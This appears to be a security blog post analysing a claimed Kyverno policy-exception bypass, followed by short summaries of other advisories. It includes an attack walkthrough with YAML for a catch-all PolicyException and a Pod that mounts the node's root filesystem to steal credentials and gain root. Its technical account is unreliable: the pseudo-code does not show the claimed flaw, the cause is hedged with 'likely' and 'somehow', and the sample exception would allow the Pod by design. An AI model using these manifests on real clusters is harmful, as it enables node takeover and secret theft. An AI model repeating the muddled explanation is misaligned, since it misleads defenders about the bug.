Feb 26, 2026·6 min read·22 visits
Kyverno versions 1.9.0 through 1.12.7 contain a logic bug where defining multiple PolicyExceptions for a single policy causes the enforcement engine to fail open. Attackers with permissions to create exceptions (or leverage existing ones) can bypass critical security controls.
A critical logic flaw in the Kyverno policy engine for Kubernetes allows attackers to completely bypass security policies by introducing multiple overlapping PolicyException resources. This vulnerability essentially turns the 'most restrictive' security model on its head, permitting malicious payloads (like hostPath mounts) simply because the admission controller gets confused by the presence of a second exception.
Kubernetes policy management is usually a choice between learning the esoteric arts of Rego (OPA Gatekeeper) or using something that feels more 'native' like Kyverno. Kyverno is popular because it's just YAML. You write a policy, you apply it, and suddenly your developers can't deploy containers running as root. It feels safe. It feels warm. But here's the cold, hard truth: complexity in security tools is like gravity—it's always there, pulling you down.
GHSA-GG4X-FGG2-H9W9 is a beautiful disaster in logic. It attacks the very mechanism designed to make life easier: the PolicyException. In the real world, absolute security is impossible, so we build backdoors for the admins—exceptions. "Block all root containers... except for the monitoring agent." It sounds reasonable until you realize that how the engine counts those exceptions matters more than the policy itself.
This isn't a buffer overflow. There's no shellcode here. This is purely a failure of the admission controller to make up its mind when faced with two contradictory or overlapping instructions. It's the digital equivalent of asking Mom for permission, getting a 'No', then asking Dad, and while they argue, you walk out the door with the car keys.
The vulnerability lies in how Kyverno (versions 1.9.0 to 1.12.7) evaluates PolicyException resources when the cluster is in enforce mode. The logic was designed to check if a pending resource request matches an exception. If it does, the blocking policy is skipped. Simple, right?
The problem arises when multiple exceptions apply to the context. In a robust system, the logic should be: "If any valid exception fully covers this request, allow it. Otherwise, enforce the policy." However, Kyverno's aggregation logic had a short-circuit flaw. When multiple exceptions were present—perhaps one specific exception for a namespace and another global exception, or two overlapping exceptions—the engine's evaluation loop became inconsistent.
Specifically, the presence of a second PolicyException could effectively 'dilute' the enforcement. The engine might evaluate the first exception (which doesn't match the attacker's payload), but the mere processing of the second exception—even if it was broadly defined or unrelated—could trigger a state where the original policy enforcement was skipped. It's a classic race condition of logic, not time. The engine sees two potential paths to 'allow' and somehow forgets to check the 'deny' gate effectively.
While the exact diff is masked behind the massive v1.13.0 release, the conceptual failure looks like a breakdown in the boolean logic of the admission chain. Imagine a simplified pseudo-code block representing the vulnerable logic:
// Vulnerable Logic Pattern
func checkExceptions(policy Policy, resource Resource, exceptions []Exception) Decision {
for _, ex := range exceptions {
if match(ex, resource) {
return Allow // Short-circuit on first match
}
// ... internal state confusion ...
}
// If the loop completes with multiple partial matches,
// older versions sometimes defaulted unsafe.
return Enforce
}The critical issue is the Incomplete Aggregation. If Exception A is restrictive (e.g., "Allow image X in namespace Y") and Exception B is loose or malformed, the evaluator might prioritize the less restrictive path or fail to apply the specific constraints of the policy because the existence of Exception B effectively resets the validation context.
The fix in v1.13.0 rewrites this aggregation. It likely enforces a strict 'deny-by-default' unless a specific, unambiguous exception allows the action, regardless of how many other irrelevant exceptions exist in the cluster. They moved from a fuzzy match list to a strict validation chain.
Let's weaponize this. Assume you are an attacker with edit rights in a namespace, but the cluster admin has locked down everything with a strict disallow-host-path policy. You want to mount /etc/kubernetes from the host to steal the admin's kubeconfig.
disallow-host-path (Enforce mode).exception-monitoring to let Datadog mount host paths.If you have permissions to create PolicyException resources (which is often overlooked in RBAC), or if you can manipulate labels to match a second dormant exception:
Inject the Noise: Create a second PolicyException named exception-bypass-attempt. This exception doesn't even need to be perfectly crafted to match your payload. It just needs to target the same policy.
apiVersion: kyverno.io/v2alpha1
kind: PolicyException
metadata:
name: exception-bypass-attempt
namespace: default
spec:
exceptions:
- policyName: disallow-host-path
ruleNames: ["host-path"]
match:
any:
- resources:
kinds:
- PodTrigger the Logic Flaw: Deploy your malicious Pod.
apiVersion: v1
kind: Pod
metadata:
name: pwn-host
spec:
containers:
- name: shell
image: ubuntu
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /Execution: The Admission Controller sees the policy disallow-host-path. It checks for exceptions. It sees exception-monitoring (no match) AND exception-bypass-attempt. Due to the double exception flaw, the admission controller falters, defaults to Allow, and your Pod schedules. You now have root access to the node.
A CVSS score of 9.1 isn't handed out lightly. The impact here is Integrity and Confidentiality collapse. If a policy engine cannot enforce policies, it is worse than useless—it gives a false sense of security.
Scope Change (S:C) is the kicker here. By exploiting this in one namespace, I can deploy a privileged container that compromises the underlying Node. Once I compromise the Node, I can potentially steal secrets from other namespaces, access the cloud metadata service (IMDS), or pivot to the control plane.
This vulnerability renders your entire PodSecurityStandard implementation void. If you relied on Kyverno to enforce PCI-DSS compliance (e.g., preventing privileged containers), you are now non-compliant. The vulnerability doesn't require complex memory manipulation or race conditions; it just requires the Kubernetes API and the ability to confuse the referee.
There is no clever configuration hack to fix a binary logic error. You need to replace the brain of the operation.
kubectl get policyexceptions -Acreate/update permissions on policyexceptions.kyverno.io. This resource is as powerful as ClusterRoleBinding and should be guarded just as jealously.CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Kyverno Kyverno | >= 1.9.0, <= 1.12.7 | 1.13.0 |
| Attribute | Detail |
|---|---|
| Attack Vector | Adjacent Network (Kubernetes API) |
| CVSS Score | 9.1 (Critical) |
| CWE | CWE-693 (Protection Mechanism Failure) |
| Impact | Security Policy Bypass |
| Exploit Status | PoC Available |
| Affected Versions | v1.9.0 - v1.12.7 |
Protection Mechanism Failure
An in-depth technical analysis of multiple security vulnerabilities in the self-hosted Docker API server of Crawl4AI up to version 0.8.7. These flaws include a critical arbitrary file write via symlink traversal and TOCTOU weakness, CRLF log injection, webhook header injection, and SSRF filter gaps. These have been remediated in version 0.8.8.
A technical evaluation of the Crawl4AI open-source web crawling and scraping library revealed a high-severity credential exfiltration vulnerability in its self-hosted Dockerized API server. The flaw arises from an unvalidated base_url parameter in request payloads and a dynamic prefix resolution mechanism that retrieves system environment variables. Unauthenticated remote attackers can leverage these features in tandem to extract host-level secrets or redirect configured LLM API keys to an external listener under their control.
The Crawl4AI Docker API server, in versions 0.8.6 and prior, contains multiple critical vulnerabilities including improper path sanitization, missing authentication on administration routes, hardcoded JWT secrets, and SSRF. These vulnerabilities allow remote, unauthenticated attackers to write arbitrary files, execute arbitrary code, and pivot into private cloud environments.
A local security vulnerability in the Nuxt development server (nuxt dev) allows local unprivileged users to access sensitive configuration files and source code. On Linux environments running Node.js 20+, Nuxt bound its internal vite-node IPC server to an abstract-namespace Unix socket without any peer authentication, enabling co-resident local users to connect and request module code directly.
Mozilla Bleach is an open-source HTML sanitizing library for Python. Versions up to and including 6.3.0 contain an incomplete filtering implementation in the URI validation logic ('sanitize_uri_value'). This logic fails to detect disallowed protocols, such as 'javascript:', if they contain Unicode invisible characters, whitespace characters, or characters with a code point greater than U+00A0. While standard-compliant web browsers do not directly execute invalid URI schemes containing these non-standard characters, downstream systems that normalize Unicode text by stripping invisible or non-ASCII characters can unintentionally reactivate the 'javascript:' prefix, causing Cross-Site Scripting (XSS). Additionally, this behavior violates Bleach's core sanitization contract by outputting URIs that bypass protocol allowlists configured by the caller.
An uncontrolled resource consumption vulnerability exists in the Python package Bleach when parsing text to linkify email addresses. When `parse_email=True` is enabled, the regular expression engine is forced into a quadratic-time complexity scan on specially crafted payloads lacking an '@' symbol. This causes immediate CPU exhaustion and blocks application server worker processes.